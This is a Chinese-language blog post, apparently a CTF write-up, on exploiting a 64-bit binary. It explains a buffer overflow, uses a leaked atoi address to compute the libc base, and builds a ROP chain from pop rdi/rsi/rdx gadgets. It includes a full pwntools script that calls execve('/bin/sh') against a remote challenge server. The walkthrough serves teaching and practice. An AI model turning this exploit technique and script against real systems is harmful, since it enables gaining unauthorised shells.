天生我材必有用,千金散尽还复来。 仰天大笑出门去,我辈岂是蓬蒿人。 大鹏一日同风起,扶摇直上九万里。 十步杀一人,千里不留行。 事了拂衣去,深藏身与名。 安能摧眉折腰事权贵,使我不得开心颜! 且乐生前一杯酒,何须身后千载名? 愿将腰下剑,直为斩楼兰。
 

64位的简单pwn

环境:kali,python3

程序没有开启随机化

没有canary保护

启动了NX

IDA:

运行程序,先输入1200,然后给出函数地址,再次输入内容。

思路:

函数地址在IDA反汇编可以看出来,是atoi函数的地址,是got表中的地址。也就是函数运行过程中,在内存中atoi的函数地址。

看代码可以看出read这里有洞。可以利用缓冲区溢出覆盖返回地址。

(32位的缓冲区溢出可以参考一下https://www.cnblogs.com/gudygudy/p/8093921.html,里面的栈结构中函数的参数传递方式变化了,可以暂时忽略返回地址上的参数区)

需要注意的是,64位的函数调用参数前6个是放在寄存器的,分别是rdi,rsi,rdx,rcx等。这里面最多用前三个。

题目还给出了libc库,据此可以定位libc在程序运行时加载到内存中时的基址。

有基址后想调用什么函数都可以偏移过去。调用system("/bin/sh")就拿到shell了。这个题目用system服务器没成功,,本地成功了;用execve("/bin/sh",0,null)两边都可以成功。

首先确定需要放多少个填充才能到返回地址。

使用kali自带的工具生成长度290的填充字符,gdb打开程序,输入该字符串。

 发生段错误

 查看rsp的值,rsp这时候放的就是返回地址,但是这个地址是有误的所以报错。

利用kali中工具查询这个串偏移量。

 

结果是280。

填充块大小知道了,返回地址可以通过libc偏移计算,参数传递如何实现?

32位机直接在栈上覆盖,64位需要借助汇编语句实现参数传递。这几条汇编语句称为gadget。是在程序中寻找的合适的,也可以在libc库中找。

libc中汇编代码丰富些,所以我在libc中找的。所以利用时还要记得加上计算的libc基址。

查汇编指令使用的是ROPgadget

 如图,分别找到

pop rdx;ret

pop rsi;ret

pop rdi;ret

对应的地址。

 1 #pwn1 求解
 2 from pwn import *
 3 
 4 context.log_level = "debug"
 5 context.arch = "i386"
 6 context.terminal = ["tmux","splitw","-h"]
 7 
 8 def debug():  #该方法会在程序未结束时打开gdb对程序进行调试,在debug后就进入了交互模式
 9     pwnlib.gdb.attach(p)
10     pause()
11 
12 p = process("./pwn1")
13 p = remote('124.16.75.117',51005)
14 libc = ELF("./libc.so.6")
15 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
16 
17 offset = 280
18 p.send('1200')
19 
20 recvw = p.recv(31).decode()
21 recvw = recvw[-13:-1]
22 recvw = '0x' + recvw
23 
24 atoi_addr = (eval(recvw))
25 print("atoi addr:" + hex(atoi_addr))
26 
27 libc_base_addr = atoi_addr - libc.symbols["atoi"]
28 
29 execve_addr = libc.symbols["execve"] + libc_base_addr
30 binsh_addr = next(libc.search("/bin/sh".encode())) + libc_base_addr
31  
32 pop_rdi_ret_addr = 0x215bf + libc_base_addr
33 pop_rsi_ret_addr = 0x23eea + libc_base_addr
34 pop_rdx_ret_addr = 0x1b96 + libc_base_addr
35 
36 payload = 'a' * offset
37 #debug()
下面这条语句依次:填充,调用pop rdi;ret把第一个参数binsh_addr放到寄存器rdi中,第二个参数放到rsi中,第三个参数放到rdx中,调用execve函数
38 payload = flat([payload,p64(pop_rdi_ret_addr),p64(binsh_addr),p64(pop_rsi_ret_addr),"\x00"*8,p64(pop_rdx_ret_addr),"\x00"*8,p64(execve_addr)]) 39 40 p.sendline(payload) 41 42 p.interactive()
posted @ 2021-04-18 17:32  gudy  阅读(707)  评论(0编辑  收藏  举报